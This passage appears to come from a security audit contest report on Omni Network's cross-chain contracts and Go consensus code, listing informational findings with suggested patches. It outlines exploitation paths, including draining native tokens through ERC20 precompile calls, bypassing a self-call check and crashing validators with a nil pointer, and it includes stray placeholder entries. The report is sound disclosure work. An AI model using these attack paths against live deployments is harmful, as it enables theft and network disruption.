- Recommendation I think to give the flexibility to the user to send excess to ensure it would not revert make sense, but that **should not be at the expense of the user**. I would recommend to apply the following patch to address the issue, which will **refund the excess** to the sender without really increasing the surface attack. This is very similar from XGasPump::_fillUpOrRefund.

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be first byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");
+       if (msg.value > fee) {
+           // refund the excess with a simple transfer to constraint the gas, if that revert it's ok, best
↪   effort basis here.
+           payable(msg.sender).transfer(msg.value - fee);
+       }

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

3.7.3 `EventProcessors` are not accounting for `reorgs`

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description `Slashing`, `Staking` and `Upgrade` module are processing event in their corresponding `EventProcessor::Prepare` function. The implementation present a `minor concern` which is that they are not taking `reorgs` into account, thus they could be processing event that doesn't exist anymore and were removed due to a `regors` on the OMNI chain. Now, since the protocol is based on CometBTF which has **instant finality**, the reorgs seem pretty much impossible, but still reporting this as `Low`.

As explicitly explained in the `types.Log`, the comments in that respect is clear. In your case since you are getting those log using a filter query (p.ethCl.FilterLogs(ctx, `ethereum.FilterQuery`), hence you should follow such rule.

```
// Log represents a contract log event. These events are generated by the LOG opcode and
// stored/indexed by the node.
type Log struct {

    ...

    // The Removed field is true if this log was reverted due to a chain reorganisation.
    // You must pay attention to this field if you receive logs through a filter query.
    Removed bool `json:"removed" rlp:"-"`
}
```

- Recommendation Apply the following patch to resolve the issue. Apply this in the three modules.

```
func (p EventProcessor) Prepare(ctx context.Context, blockHash common.Hash) ([]*evmenginetypes.EVMEvent,
↪  error) {
    ...

    resp := make([]*evmenginetypes.EVMEvent, 0, len(logs))
    for _, l := range logs {
+       // Ignore event which are actually removed due to reorg
+       if l.Removed {
+           continue
+       }
        topics := make([][]byte, 0, len(l.Topics))
        for _, t := range l.Topics {
            topics = append(topics, t.Bytes())
        }
        resp = append(resp, &evmenginetypes.EVMEvent{
            Address: l.Address.Bytes(),
            Topics:  topics,
            Data:    l.Data,
        })
    }

    ...
```

3.7.4 Quorum Validation Not Handling Exact Threshold Properly, Leading to a DoS and Broken Protocol Invariant

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary In the OmniPortal protocol, relayers submit cross-chain messages to destination chains by monitoring the Omni Consensus Layer. Arcording to the documentation:
    - Monitors the Omni Consensus Layer until (>66%) of the validator set attested to the “next” xblock on each source chain.

Once two-thirds (or >66%) of the validator set has attested to the "next" xblock on each source chain, relayers submit cross-chain messages to the respective destination chain, including quorum validator signatures and a multi-merkle proof. The bug discovered lies within the `verify` function of the quorum library, which is responsible for verifying validator signatures based on the attestation root. The function only checks whether the total voting power exceeds the quorum threshold, causing valid submissions to fail.

NOTE: The code comment here matches the current behaviour of the function, but obviously doesn't match what the documentation implies. This issue arises from an oversight in the implementation, as the actual code behavior contradicts the intended purpose outlined in the documentation. (>66% does not neccesarily mean >)

- Vulnerability Details The vulnerability exists in the `verify` function within the quorum library, specifically when it calls `_isQuorum` to check if the total voting power meets the required threshold for consensus. The problematic condition is:

```
votedPower * uint256(denominator) > totalPower * uint256(numerator);
```

This expression only returns true if the voted power is strictly greater than the threshold, which can cause valid submissions to fail, as it disregards scenarios where the voted power is equal to the threshold.

- Code Snippet function `xsubmit` OmniPortal.sol :

```
require(
    Quorum.verify(
        xsub.attestationRoot,
        xsub.signatures,
        valSet[valSetId],
        valSetTotalPower[valSetId],
        XSubQuorumNumerator,
        XSubQuorumDenominator
    ),
    "OmniPortal: no quorum"
);
//@audit >> This will revert wrongly with a voting power equal to 2/3
```

`verify` function in `Quorum.sol` library:

```
  function verify(
        bytes32 digest,
        XTypes.SigTuple[] calldata sigs,
    mapping(address => uint64) storage validators,
        uint64 totalPower,
    uint8 qNumerator,
    uint8 qDenominator
    ) internal view returns (bool) {
    uint64 votedPower;
        XTypes.SigTuple calldata sig;

        for (uint256 i = 0; i < sigs.length; i++) {
        sig = sigs[i];

            if (i > 0) {
                XTypes.SigTuple calldata prev = sigs[i - 1];
                require(sig.validatorAddr > prev.validatorAddr, "Quorum: sigs not deduped/sorted");
      }

        require(_isValidSig(sig, digest), "Quorum: invalid signature");

            votedPower += validators[sig.validatorAddr];

@>          if (_isQuorum(votedPower, totalPower, qNumerator, qDenominator)) return true;
         }
      return false;
      }
```

`_isQuorum` function:

```
function _isQuorum(uint64 votedPower, uint64 totalPower, uint8 numerator, uint8 denominator)
    private
    pure
    returns (bool)
{
@>  return votedPower * uint256(denominator) > totalPower * uint256(numerator); // Issue here
}
```

- POC

A relayer submits cross-chain messages to a destination chain after monitoring the Omni Consensus Layer. The relayer sees that exactly of the validator set has attested to the next xblock. However, when the relayer attempts to submit this batch, the OmniPortal contract incorrectly rejects it.

1. Validator set total power: 99
2. Voting power from attesting validators: 66
3. Required quorum numerator/denominator: (>66%)

The current `_isQuorum` check fails because the condition checks for `votedPower * denominator > totalPower * numerator`, i.e., `66 * 3 > 99 * 2`, which results in `198 > 198` (false). Since the current check fails to account for when the threshold is exactly met, the submission is rejected. The statement below is also refernced from the documentations:

> Relayer submits XMsgs to destination chain with validator signatures

$$\frac{66}{99} = \frac{2}{3}$$

- Impact

1. This bug can prevent legitimate cross-chain submissions from being executed, resulting in delays in message propagation and potential breakdowns in the cross-chain functionality
2. In further integrations where relayers will be incentivized, quick relayers will be DOSed from making valid submissions when the exact threshold is met hence leading to loss of incentives

- Recommendation To resolve this issue, modify the quorum condition to include scenarios where the voted power equals the required threshold. The corrected code should be:

```
return votedPower * uint256(denominator) >= totalPower * uint256(numerator); // Updated to >=
```

This change ensures that valid submissions are accepted even when the voting power meets, but does not exceed, the required quorum threshold.

3.7.5 After pausing all, it is not possible to unpause one of the functions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description When determining whether a key is paused, if `KeyPauseAll` is true, the key will be considered paused regardless of its own state.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/utils/PausableUpgradeable.sol#L69

```
    function _isPaused(bytes32 key1, bytes32 key2) internal view returns (bool) {
        PauseableStorage storage $ = _getPauseableStorage();

        return $._paused[KeyPauseAll] || $._paused[key1] || $._paused[key2];
    }
```

At `unpause`, it only set the value of the target key without changing `KeyPauseAll`.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/utils/PausableUpgradeable.sol#L52

```
    function _unpause(bytes32 key) internal {
        PauseableStorage storage $ = _getPauseableStorage();
        require($._paused[key], "Pausable: not paused");

        $._paused[key] = false;
        emit Unpaused(key);
    }
```

This results in a situation where, if you want to unpause only one feature after pausing all, you have to first unpause all and then pause the other features one by one. This will greatly increase operating costs, as there is no batch pause function, and each pause requires a new transaction.

- Recommendation Add a state to `isPaused` to determine if the unpause is executed after a pause all; if so, use this state as the criterion.

3.7.6 OZ Upgradable contracts were not initialized

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary The initialize function in the upgradeable contract does not call the initialization methods for the inherited upgradeable contract (ReentrancyGuardUpgradeable). This oversight may lead to unintended behavior, vulnerabilities, and potential exploits, as the functionalities provided by these base contracts will not be properly initialized.

The following initialize function is provided:

```
function initialize(InitParams calldata p) public initializer {
    __Ownable_init(p.owner); // Initializes Ownable
    // Missing initializations for Pausable and ReentrancyGuard
    _setFeeOracle(p.feeOracle);
    _setXMsgMaxGasLimit(p.xmsgMaxGasLimit);
    // Other initialization code...
}
```

The initialize function should properly initialize all inherited upgradeable contracts to ensure that their functionalities are available and correctly configured.

Well this for best practice!!!

- Recommendation

```
function initialize(InitParams calldata p) public initializer {
    __Ownable_init(p.owner);
    __ReentrancyGuard_init();  // Initialize ReentrancyGuard
    _setFeeOracle(p.feeOracle);
    _setXMsgMaxGasLimit(p.xmsgMaxGasLimit);
    // Other initialization code...
}
```

3.7.7 `Excess value` sent to the bridge is `donated` to the protocol

Severity: Informational

Context: OmniBridgeL1.sol#L89-L96

- Context This report is related to the **OM2-06 mitigation** from Sigma Prime.
- Description Most user that interact with the `bridges` will call `bridgeFee` first in order to transfer that proper value. So the flow is:

1. User call the `bridgeFee` to gather the fees required.
2. User call `bridge` sending the msg.value (calculated in step 1)
3. User transaction is executed and included into an L2 block.

There is a window of time between Step1 and Step3 which might cause the fees to fluctuate which lead to 3 possible outcome:

- `Fees remains the same`: all good and fair for everyone (in case the user sent the exact fees amount)
- `Fees increase`: transaction will revert in `xcall` if the user sent the exact fees amount. Now the protocol is giving some flexibility to the user (thanks to **OM2-06 mitigation**) by allowing him to send more value then the exact fee, which is good, but the problem is that the `excess is not refunded`, which seems a bit unfair. To ensure the transaction doesn't revert, how much excess the user should be sending? If this is more then the cost of the reverted transaction, that would not make sense for him. Is he aware that the excess will be donated to the protocol? It's impossible to know how much he should send in advance as will depends in price change in FeeOracle contract, which are updated every 5 min. by the monitor service.
- `Fees decrease`: transaction will work and the excess is donated to the protocol, fair? Is the user aware?

Those excess not being refunded goes against the normal EVM principle that unspent gas is being refunded. Here the user is paying upfront for the entire gas limit in advance (which make senses) and not refunded for any unspent gas (that should be documented very clearly and this is the Known Issue (**Fee refunds**) stated in the contest), but here it's another level of excess, it's the excess of the actual gas limit itself which is donated to the protocol, which seems a bit excessive.

- Impact `Medium` as it might not be important for a single user and single transaction, but in aggregates the amount of excess fee collected will become important. We can assume the bridge will be widly used.
- Likelihood `Medium` as `FeeOracle` is updated every `5 min.` by the monitor service in case of price changes (token & gas price) so price fluctuation in the critical window will happen definitely from time to time.

- Recommendation I think to give the flexibility to the user to send excess to ensure it would not revert make sense, but that **should not be at the expense of the user**. I would recommend to apply the following patch to address the issue, which will **refund the excess** to the sender without really increasing the surface attack. This is very similar from XGasPump::_fillUpOrRefund.

While this is showcasing the L1 bridge, the same apply for the OMNI EVM bridge.

```
    function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
↪   amount));

+       uint256 fee = omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT);
+       require(msg.value >= fee, "OmniBridge: insufficient fee");
-       require(
-          msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
↪   insufficient fee"
-       );

        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

        omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );
+
+       if (msg.value > fee) {
+          // refund the excess with a simple transfer to constraint the gas, if that revert it's ok, best
↪   effort basis here.
+          payable(payor).transfer(msg.value - fee);
+       }

        emit Bridge(payor, to, amount);
    }
```

3.7.8 No setter for postsTo

Severity: Informational

Context: *(No context files were provided by the reviewer)*

in https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/FeeOracleV1.sol#L169 there is an update to the _feeParams[chainId].postsTo variable and there are setters for the rest of the elements in this struct, but not for this one. there is a way to update it by calling the https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/FeeOracleV1.sol#L119 function but this looks like a mistake.

3.7.9 _network can have repetitions

Severity: Informational

Context: OmniPortal.sol#L418

this can have repetitions, my break some external code.

3.7.10 Native tokens in `OmniPortal` on `Celo` and `Moonbeam` can be stolen

Severity: Informational

Context: OmniPortal.sol#L301

- Description

Several chains have an `ERC20` interface for their `native tokens`. For example: Celo and Moonbeam.

In combination with an arbitrary external call this can be used to get access to the `native token` in `OmniPortal`.

Note: in the same way any `ERC20` tokens that accidentally end up in `OmniPortal` can be retrieved.

- POC Via `xcall()` / `xsubmit()`, call the equivalent `ERC20` contract (precomple) of the native token.
- call `transfer()` to transfer out the `native token`;
- or call `approve()` to set an `allowance`, and transfer out the `native tokens` via a seperate call.
- Recommendation Consider doing one or more of the following:
- do the external call via a seperate contract that doesn't contain any native tokens or ERC20 tokens
- disallow the function selectors for `transfer()`, `transferFrom()` and `approve()`
- have a blacklist to disallow specific addresses of precompiles

3.7.11 Calling precompiles could circumvent the security

Severity: Informational

Context: OmniPortal.sol#L278-L279, OmniPortal.sol#L358, OmniPortal.sol#L402

- Description With the increasing number of chains and precompiles, there is bound to be a chain with a `precompile` that does the following:
- initiate an action as if it is from the original caller of the `precompile`
- somehow modify the call arguments

If this is possible, then you can do:

- call the `precompile` via `xcall()` / `xsubmit()`
- the `precompile` calls `OmniPortal` and the call seems to originate from `OmniPortal`
- then the following check would be circumvented:

```
require(msg.sender == address(this), "OmniPortal: only self");
```

- and `addValidatorSet()` and `setNetwork()` could be called
- this would circumvent the core security of the bridge

This behaviour is close to the described problem: https://docs.moonbeam.network/builders/ethereum/precompiles/ux/call-permit/

- Recommendation Consider doing one or more of the following:
- use internal calls to call authorized functions like `addValidatorSet()` and `setNetwork()`
- let the authorized functions doublecheck the contents of `_xmsg`
- add a blocklist to prevent calling specific `precompiles`

3.7.12 `_xmsg` could use `transient` storage

Severity: Informational

Context: OmniPortalStorage.sol#L106

- Description `_xmsg` could use `transient` storage because it is only used during the execution of the contract.
- Recommendation Consider using `transient` storage on chains that support it.

3.7.13 Unnecessary usage of duplicate variables

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: Inside `OmniPortalConstants`, the following two variables are defined:

```
    /**
     * @dev xmsg.sender for xmsgs from Omni's consensus chain
     */
    address internal constant CChainSender = address(0);

    /**
     * @dev xmsg.to for xcalls to be executed on the portal itself
     */
    address internal constant VirtualPortalAddress = address(0);
```

Given that these are both `address(0)`, it suffices to only create one variable and use that instead of using both. This will save a storage slot.

Recommendation: Only use one variable set to `address(0)`.

3.7.14 `chainId` check can lead to DoS

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: Inside the Omni Bridge Bridge Contract, `OmniBridgeL1.sol`, the following check happens inside the `withdraw()` function:

```
    function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
->      require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

        token.transfer(to, amount);

        emit Withdraw(to, amount);
    }
```

The `xmsg.sourceChainId` needs to be equal to the `omni.omniChainId()`.

The variable `omniChainId` is set only once, during the initialization of the `OmniPortal.sol` contract:

```
    function initialize(InitParams calldata p) public initializer {
        __Ownable_init(p.owner);

        _setFeeOracle(p.feeOracle);
        _setXMsgMaxGasLimit(p.xmsgMaxGasLimit);
        _setXMsgMaxDataSize(p.xmsgMaxDataSize);
        _setXMsgMinGasLimit(p.xmsgMinGasLimit);
        _setXReceiptMaxErrorSize(p.xreceiptMaxErrorSize);
        _setXSubValsetCutoff(p.xsubValsetCutoff);
        _addValidatorSet(p.valSetId, p.validators);

->      omniChainId = p.omniChainId;
        omniCChainId = p.omniCChainId;

        // omni consensus chain uses Finalised+Broadcast shard
        uint64 omniCShard = ConfLevel.toBroadcastShard(ConfLevel.Finalized);
        _setInXMsgOffset(p.omniCChainId, omniCShard, p.cChainXMsgOffset);
        _setInXBlockOffset(p.omniCChainId, omniCShard, p.cChainXBlockOffset);
    }
```

There is no way to update this variable.

This is problematic since, especially in new chains, (hard)-forks can happen. When a hard-fork happens, the `chainId` changes. In this case, the `chainId` of the `Omni Network` will change and the calls made from the 'new' `Omni Network` will fail because the `chainId` will be different from the `chainId` set on the Ethereum deployed bridge contract.

Impact: This leads to a (temporary) loss of funds and disruption of service since users will not be able to withdraw and the contracts have to be redeployed and re-initialized to point towards the correct `chainId`.

Recommendation: Add a setter that changes the `chainId`.

3.7.15 The use of time.Now could cause consensus failure

Severity: Informational

Context: metrics.go#L91-L93, voter.go#L337, voter.go#L704-L707, abci.go#L84, abci.go#L94, keeper.go#L207

- Description

The use of time.Now is not deterministic as it depends on each validator node. Each validator might run the code at slightly different times, and hence time.Now would be slightly different. It is important that the blockchain is deterministic, or else it would halt because of consensus fault.

This are examples of where time.Now or time.Since are used.

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/octane/evmengine/keeper/abci.go#L84

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/octane/evmengine/keeper/keeper.go#L207

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/attest/keeper/metrics.go#L91-L93

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/attest/voter/voter.go#L337

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/halo/attest/voter/voter.go#L704-L707

https://github.com/omni-network/omni/blob/a782d51ad534f59ffaa20201f5711ee7ecb47e79/octane/evmengine/keeper/abci.go#L94

- Recommendation

Use the chain timestamp instead of OS/local time

3.7.16 Iteration over maps can halt the chain

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description The `TotalPower` the following action is performed:

```
func (s ValSet) TotalPower() int64 {
    var resp int64
    for _, power := range s.Vals {
        resp += power
    }

    return resp
}
```

Within this function, a loop iterates over `s.Vals`, where `s` represents the `ValSet` struct:

```
type ValSet struct {
    ID   uint64
    Vals map[common.Address]int64
}
```

Here, `Vals` is a mapping that is being iterated over. The `TotalPower` function is called inside the `EndBlock` flow. Iterating over a mapping results in non-deterministic behaviour, which could potentially disrupt and halt the blockchain.

As of now the function will execute fine, but a seemingly small unrelated change to a keeper in the future could lead to this issue, since it can collide with the deterministic behaviour caused by iterating over mappings.

This will ultimately cause the chain to halt

- Recommendation eliminate the deterministic behaviour

3.7.17 Delegator can lose funds when staking

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: A delegator can stake funds by using the `Staking.sol` contract. The function that a delegator can use to self-stake is the following function:

```
function delegate(address validator) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
    require(msg.value >= MinDelegation, "Staking: insufficient deposit");

    // only support self delegation for now
    require(msg.sender == validator, "Staking: only self delegation");

    emit Delegate(msg.sender, validator, msg.value);
}
```

This current delegate implementation processes a risk to a honest delegator.

Proof of Concept: Consider the following scenario:

- Alice is a validator, she is part of a Validator set and she has currently the lowest amount staked of the current validator set.
- In block `N`, Alice stakes `100_000 $OMNI`.
- During the construction of the consensus block that has `N` in it, Alice gets rotated out the validator set.
- The nature of how the consensus chain works, is that this staking event will only get picked up during block `N + 1`.
- Alice will end up delegating the funds to herself, however, she is not a validator anymore. This means that her funds are lost.

This will result in a total loss of funds for the honest delegator, without a need of a malicious party.

Recommendation: Consider implementing safe-gaurds to mitigate this issue.

3.7.18 `isApproved` variable is shadowing the function name

Severity: Informational

Context: keeper.go#L1102-L1123

- Description While not being a direct problem, shadowing causes some annoyances:
- `Readability`: It makes the code harder to read and understand.
- `Maintainability`: It can lead to bugs when someone modifies the code later, thinking they're using the function when they're actually using the local variable.
- `Confusion`: It can confuse other developers (or yourself) when reading the code.
- Recommendation

```
func isApproved(sigs []*Signature, valset ValSet) ([]*Signature, bool, error) {
    var sum int64
    var toDelete []*Signature
    for _, sig := range sigs {
        addr, err := sig.ValidatorEthAddress()
        if err != nil {
            return nil, false, err
        }

        power, ok := valset.Vals[addr]
        if !ok {
            toDelete = append(toDelete, sig)
            continue
        }

        sum += power
    }

-   isApproved := sum > valset.TotalPower()*2/3
+   approved := sum > valset.TotalPower()*2/3

-   return toDelete, isApproved, nil
+   return toDelete, approved, nil
}
```


3.7.19 Solidity Fails to Recognize Reserved Confirmation Levels as Valid

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Summary There is a mismatch between how confirmation levels are validated in the Solidity and Go implementations. As a result, certain confirmation levels (`2` and `3`) may be incorrectly marked as invalid under specific conditions.
- Impact Due to inconsistent validation of confirmation levels across the Solidity and Go code, the reserved confirmation levels 2 and 3 could be considered invalid. This discrepancy may lead to unexpected behavior in the system, particularly when confirmation levels `2` or `3` are used.
- Vulnerability details The Go implementation defines six confirmation levels in the types.go#L59-L67 file. Out of these, confirmation levels `0` (unknown) and `5` (sentinel) are considered invalid while all the others (`2` to `4`) are considered valid, as shown by the Valid() function in types.go#L39-L41.

// ConfLevel values MUST never change as they are persisted on-chain.

```
const (
    ConfUnknown   ConfLevel = 0 // unknown
    ConfLatest    ConfLevel = 1 // latest
    _             ConfLevel = 2 // reserved
    _             ConfLevel = 3 // reserved
    ConfFinalized ConfLevel = 4 // final
    confSentinel  ConfLevel = 5 // sentinel must always be last
)
```

In Go, a confirmation level is considered valid if it is greater than ConfUnknown (0) and less than confSentinel (5).

```
// Valid returns true if this confirmation level is valid.
func (c ConfLevel) Valid() bool {
    // @audit - ConfLevel is valid if it's between 1 and 4
    return c > ConfUnknown && c < confSentinel && !strings.Contains(c.String(), "ConfLevel")
}
```

However, in the Solidity implementation, the `isValid()` function in ConfLevel.sol#L25-L27 only checks if the level is either Latest (1) or Finalized (4), ignoring levels 2 and 3, thus returning false which would have returned true in the types.go :: `Valid()`

```
    uint8 internal constant Latest = 1;
    uint8 internal constant Finalized = 4;

    function isValid(uint8 level) internal pure returns (bool) {
        // @audit - Solidity only considers levels 1 and 4 valid
        return level == Latest || level == Finalized;
    }
```

- Issue: Mismatch in Valid Confirmation Levels

In Go, levels 2 and 3 are considered valid although reserved. In Solidity, levels 2 and 3 are not considered valid at all, leading to a mismatch in how the system handles these confirmation levels.

- Recommendation Fix the mismatch by adjust the Solidity implementation to align with the Go logic by allowing levels 2 and 3 to be considered valid, even if they may not be used, this would ensure a sense of uniformity between both solidity and go-lang logic. This change ensures uniformity between Solidity and Go logic, preventing future discrepancies

```
    function isValid(uint8 level) internal pure returns (bool) {
-       return level == Latest || level == Finalized;
+       return level >= Latest && level <= Finalized;
    }
```

3.7.20 Initialize() in OmniPortal does not trigger __ReentrancyGuard_init

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description

OmniPortal.sol uses `ReentrancyGuardUpgradeable` but does not trigger `__ReentrancyGuard_init`. Even though this does not compromise the reentrancy protection, it is considered best practice to trigger the initializer for upgradable contracts.

- Recommendation

Call the initializer for `ReentrancyGuardUpgradeable` in the `OmniPortal::initialize()` function

```
__ReentrancyGuard_init()
```

3.7.21 Supporting `new chain` will require `all validator` to be `restarted`

Severity: Informational

Context: voter.go#L156-L176

- Context Omni protocol provide a way to **support additional chain** once it's started his operation, as at genesis it will only support Omni itself (aka OMNI EVM), Ethereum, Base, Arbitrum, Optimism and Base. This is achieved throught `PortalRegistry` which is a pre-deployed contract living in OMNI EVM, it's done by calling register or bulkRegister function.
- Description So while this will register properly the new chain in the protocol, it will be **missing a key piece** to make this work, which is the process to keep track of the attestation vote for that new chain. This is done by the `attest` module, more especially the `voter.go` file (code in context, runForever), which spin up a dedicated go routine when the validator start to track each supported chain.

After asking the sponsor, he confirmed that indeed that would require to restart every validator to take this new chain into account, which seems to warrant `Medium`, as while it seems to be known by the sponsor, it's **not listed** in the known issue from the contest, and is definitely unexpected behavior from a contest standpoint.

```
Validators need to be restarted when new portals are added, since they need to be configured with the new RPC
↪  in any case
```

- Impact `Medium` as
- How will the validator know they need to restart? Furthermore, if not enough validator restarts, the new added chain and new portal will be deployed on that chain and users will be able to sends cross-chain message, but those will not get approved, as too few validator have restarted, hence no quorum, so resulting in failed transaction (which could include funds loss for bridge transaction).
- Restarting is not ideal and might disrupt the network a bit, depending how many nodes are available.
- Likelihood `Medium` as while this should not happen often, it will definitely happen at some point as the team plan to grow to more chains in the future.
- Recommendation You should implement a way to support this on the fly to prevent any downtime which will prevent any disruption for the chain. Otherwise, in the short-term you might want to force a `panic` when this happen, to force the validator to restart.

3.7.22 Testtest

Severity: Informational

Context: *(No context files were provided by the reviewer)*

testtest

3.7.23 Test submission not auto clearing upon submission

Severity: Informational

Context: *(No context files were provided by the reviewer)*

test submission not auto clearing upon submission

3.7.24 Invalid votes may be included in the voting process

Severity: Informational

Context: *(No context files were provided by the reviewer)*

- Description `TrimBehind` is called within `Approve`, using the `minVoteWindows` mapping that contains the min windows and the chain versions of all approved attestations.

```
    count := k.voter.TrimBehind(minVoteWindows)
    if count > 0 {
        log.Warn(ctx, "Trimmed votes behind vote-window (expected if node was struggling)", nil, "count", coun
t)
    }
```

Within `TrimBehind`, the available and proposed votes are passed to the `trim` function. This function checks for the `chainVer` of the vote inside the `minsByChain` mapping, which holds the minimum vote windows for all approved attestation chain versions.

```
    trim := func(votes []*types.Vote) []*types.Vote {
        var remaining []*types.Vote
        for _, vote := range votes {
            chainVer := vote.AttestHeader.XChainVersion()
            minimum, ok := minsByChain[chainVer]
            if ok && vote.AttestHeader.AttestOffset < minimum {
                trimTotal.WithLabelValues(v.network.ChainVersionName(chainVer)).Inc()
                continue // Skip/Trim
            }
            remaining = append(remaining, vote) // Retain all others
        }

        return remaining
    }
```

If the `chainVer` is found in `minsByChain` (`ok` is true), the function checks whether the vote is within the valid range. If the vote's offset is below the allowed minimum, the vote is trimmed. Otherwise, it is added to `remaining`.

However, the problem arises since there is no check properly handling `!ok`. Because of this, when `ok` is false (the `chainVer` is not present in `minsByChain`), the `if` statement is bypassed:

```
            if ok && vote.AttestHeader.AttestOffset < minimum {
                trimTotal.WithLabelValues(v.network.ChainVersionName(chainVer)).Inc()
                continue
        }
```

and the vote is still added appended to `remaining` even though it originates from an unapproved `chainVer`.

```
remaining = append(remaining, vote) // Retain all others
```

This allows invalid votes from unapproved chain versions to be included in the `remaining` votes, which ultimately impacts the `count` returned by `TrimBehind`. This will lead to invalid votes being counted, affecting the overall voting system.

- Recommendation Consider properly handling the case where `ok` returns false.

3.7.25 `translate.go::XChainVersion` accessing AttestHeader could `panic`

Severity: Informational

Context: translate.go#L9-L14

- Description `XChainVersion` from `translate.go` is used widely inside the Attest module, a total of `20 usages`. Nevertheless, all those usage seems well protected, verifying the votes properly before accessing this function, except the following one. I'm not sure if this is a possible attack vector, so submitting this as `Medium`. If the team judge this is an impossible scenario (similar to **Spearbit Audit - 5.2.4**), then it should be reduced to `Low`.

octane::abci.go::PrepareProposal --> PrepareVotes --> votesFromLastCommit

```
func votesFromLastCommit(
    ctx context.Context,
    windowCompare windowCompareFunc,
    supportedChain supportedChainFunc,
    info abci.ExtendedCommitInfo,

) (*types.MsgAddVotes, error) {
    var allVotes []*types.Vote
    for _, vote := range info.Votes {
        if vote.BlockIdFlag != cmtproto.BlockIDFlagCommit {
            continue // Skip non block votes
        }
        votes, ok, err := votesFromExtension(vote.VoteExtension)
        if err != nil {
            return nil, err
        } else if !ok {
            continue
        }

        var selected []*types.Vote
        for _, v := range votes.Votes {
            if ok, err := supportedChain(ctx, v.AttestHeader.XChainVersion()); err != nil { //
↪  <---------------------- v.AttestHeader == nil will make validator PANIC
                return nil, err
            } else if !ok {
                // Skip votes for unsupported chains.
                continue
            }
```


- Proof of Concept #1 First, the proof this panic the whole validator.

Apply the following patch in the code and run `go test -v -run TestSmoke` from `<root>/halo/app` folder.

```
func (h *AttestHeader) XChainVersion() xchain.ChainVersion {
+   h = nil
    return xchain.ChainVersion{
        ID:        h.SourceChainId,
        ConfLevel: xchain.ConfLevel(h.ConfLevel),
    }
}
```

OUTPUT

```
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x2496dab]

goroutine 454 [running]:
github.com/omni-network/omni/halo/attest/types.(*AttestHeader).XChainVersion(...)
        /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/types/translate.go:12
github.com/omni-network/omni/halo/attest/voter.(*Voter).Vote(0xc0009bf400, {0x27a66c0?, {0x334cdb0?, 0xe7?},
↪  0x12?}, {{0xf48b3, 0x1, {0x0, 0x0, 0x0, ...}}, ...}, ...)
        /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/voter/voter.go:326 +0x28b
github.com/omni-network/omni/halo/attest/voter.(*Voter).runOnce.func1({0x338e068, 0xc0022049c0}, {{0xf48b3,
↪  0x1, {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...}}, ...})
        /mnt/c/AUDITS/cantina/omni-network/omni/halo/attest/voter/voter.go:271 +0xa05
github.com/omni-network/omni/lib/xchain/provider.(*Mock).stream(0xc003913bc0, {0x338e068, 0xc0022049c0},
↪  {0xc00006bc50?, 0x4131e5?, 0xb0?}, 0xc0032788f0, 0x0)
        /mnt/c/AUDITS/cantina/omni-network/omni/lib/xchain/provider/mock.go:114 +0x295
github.com/omni-network/omni/lib/xchain/provider.(*Mock).StreamBlocks(0x338e068?, {0x338e068?, 0xc0022049c0?},
↪  {0x18?, 0xc00006bdc8?, 0x8?}, 0xc0?)
